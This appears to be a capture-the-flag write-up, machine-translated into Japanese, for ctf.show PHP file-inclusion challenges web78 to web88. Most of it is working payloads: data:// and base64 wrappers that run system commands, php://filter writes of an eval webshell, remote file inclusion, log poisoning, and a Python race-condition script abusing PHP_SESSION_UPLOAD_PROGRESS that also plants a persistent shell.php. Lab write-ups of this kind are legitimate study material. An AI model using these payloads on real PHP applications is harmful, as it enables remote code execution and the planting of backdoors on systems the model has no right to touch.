web78
?file=data://text/plain,<?php system("cat flag.php");?>
または、疑似プロトコルの読み取りも機能します。
web79
?file=data://text/plain,<?= system("cat flag*");?>
または
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
data://をデータに置き換えることができる場所:
web80
方法1:リモートファイルインクルード
VPSの下に馬を書き、リモートで含めます。
?file=http://118.***.***.***/1.txt
方法2:ログファイルに含まれるもの
?file=/var/log/nginx/access.log
したがって、UAヘッダーにhorseを書き込むだけです。nginxとapacheを含むログファイルもテストポイントです。
web81
方法はweb80と同じですが、コロンがフィルタリングされているため、リモートインクルードは使用できず、ログファイルをインクルードできます。
web82
新しい姿勢で、セッションファイルのインクルードと条件付き競合にPHP_SESSION_UPLOAD_PROGRESSを使用して、学んだこと、非常に興味深い穴を学びました。
参照リンク:
ファイルインクルードと逆シリアル化の浸透にはsession.upload_progressを使用します
このコードを使用して、パケットをアップロードおよびキャプチャします。
<!DOCTYPE html>
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
実行するコマンドはPHP_SESSION_UPLOAD_PROGRESSで記述されています。
次に、bp非パラメーターループ要求を開始し、PHPSESSIDの変更に注意してください。
一方、同じ条件付き競争には、対応するセッションファイルが含まれます
。条件付き競争を通じてフラグを取得できます。
POST / HTTP/1.1
Host: 110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Cookie: PHPSESSID=feng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Length: 317
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system("cat fl0g.php");?>
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
111
------WebKitFormBoundaryvGEmmKnnXVzQVMQB--
web83
上記と同じ、スクリプト:
import io
import sys
import requests
import threading
host = 'http://0df0bded-da5c-4bcc-92bd-e871bb1427a5.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={
"file":('a.txt', f)},
cookies={
'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
web84
同上
web85
同上
web86
同上
web87
参考記事:
php:// filterの魔法の使い方について話す
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B
ファイルはphp://filter/write=convert.base64-decode/resource=1.php
、コンテンツはaを埋めるために使用される最初の2つを削除し、次にbase64復号化は<?php eval($_POST[0]);?>
web88
後ろを学び、前を忘れてください。。データプロトコルもbase64エンコーディングでバイパスできることを忘れました。これはばかげています。
phpのみがフィルタリングされるため、データプロトコルを使用してバイパスし、base64エンコーディングを使用してバイパスできます。
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOw
base64暗号化の元の結果はPD9waHAgZXZhbCgkX1BPU1RbMF0pOw==
ですが、=がフィルタリングされているため、塗りつぶしに使用された=を削除するだけで十分です。